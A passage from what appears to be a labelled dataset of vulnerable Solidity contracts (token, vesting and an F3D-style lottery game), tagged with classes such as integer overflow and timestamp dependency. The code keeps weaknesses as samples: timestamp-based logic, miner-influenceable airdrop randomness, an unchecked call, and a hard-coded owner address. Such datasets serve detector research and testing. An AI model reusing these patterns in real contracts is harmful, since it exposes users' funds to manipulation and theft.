(uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; constructor(uint supply) public { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; emit Approval(msg.sender, guy, wad); return true; } } contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol; uint256 public decimals = 18; constructor(bytes32 symbol_) public { symbol = symbol_; } event Mint(address indexed guy, uint wad); event Burn(address indexed guy, uint wad); function approve(address guy) public stoppable returns (bool) { return super.approve(guy, uint(-1)); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); emit Transfer(src, dst, wad); return true; } function push(address dst, uint wad) public { transferFrom(msg.sender, dst, wad); } function pull(address src, uint wad) public { transferFrom(src, msg.sender, wad); } function move(address src, address dst, uint wad) public { transferFrom(src, dst, wad); } function mint(uint wad) public { mint(msg.sender, wad); } function burn(uint wad) public { burn(msg.sender, wad); } function mint(address guy, uint wad) public auth stoppable { _balances[guy] = add(_balances[guy], wad); _supply = add(_supply, wad); emit Mint(guy, wad); } function burn(address guy, uint wad) public auth stoppable { if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) { _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad); } _balances[guy] = sub(_balances[guy], wad); _supply = sub(_supply, wad); emit Burn(guy, wad); } bytes32 public name = """"; function setName(bytes32 name_) public auth { name = name_; } } contract MintAuthority is DSAuthority { address public multisig; address public crowdsale; constructor(address _multisig, address _crowdsale) public { multisig = _multisig; crowdsale = _crowdsale; } function canCall( address _src, address _dst, bytes4 _sig ) constant returns (bool) { return ( (_src == multisig || _src == crowdsale) && _sig == bytes4(keccak256(""mint(address,uint256)"")) ); } }",./Dataset/integer overflow (OF)/,4,4 8615.sol,"pragma solidity ^0.4.13; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract TokenVestingFactory is Claimable { event Created(VariableRateTokenVesting vesting); function create( address _beneficiary, uint256 _start, uint256[] _cumulativeRates, uint256 _interval ) onlyOwner public returns (VariableRateTokenVesting) { VariableRateTokenVesting vesting = new VariableRateTokenVesting( _beneficiary, _start, _cumulativeRates, _interval); emit Created(vesting); return vesting; } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); emit Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); emit Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract VariableRateTokenVesting is TokenVesting { using SafeMath for uint256; using SafeERC20 for ERC20Basic; uint256[] public cumulativeRates; uint256 public interval; constructor( address _beneficiary, uint256 _start, uint256[] _cumulativeRates, uint256 _interval ) public TokenVesting(_beneficiary, _start, 0, ~uint256(0), true) { for (uint256 i = 0; i < _cumulativeRates.length; ++i) { require(_cumulativeRates[i] <= 100); if (i > 0) { require(_cumulativeRates[i] >= _cumulativeRates[i - 1]); } } cumulativeRates = _cumulativeRates; interval = _interval; owner = 0x0298CF0d5B60a0aD885518adCB4c3fc49b36D347; } function vestedAmount(ERC20Basic token) public view returns (uint256) { if (now < start) { return 0; } uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); uint256 timeSinceStart = now.sub(start); uint256 currentPeriod = timeSinceStart.div(interval); if (currentPeriod >= cumulativeRates.length) { return totalBalance; } return totalBalance.mul(cumulativeRates[currentPeriod]).div(100); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); }",./Dataset/timestamp dependency (TP)/,6,6 3364.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8090c78edea718c652b29cace404949fd63839fd); address private admin = msg.sender; string constant public name = ""f3dplus""; string constant public symbol = ""f3dplus""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID 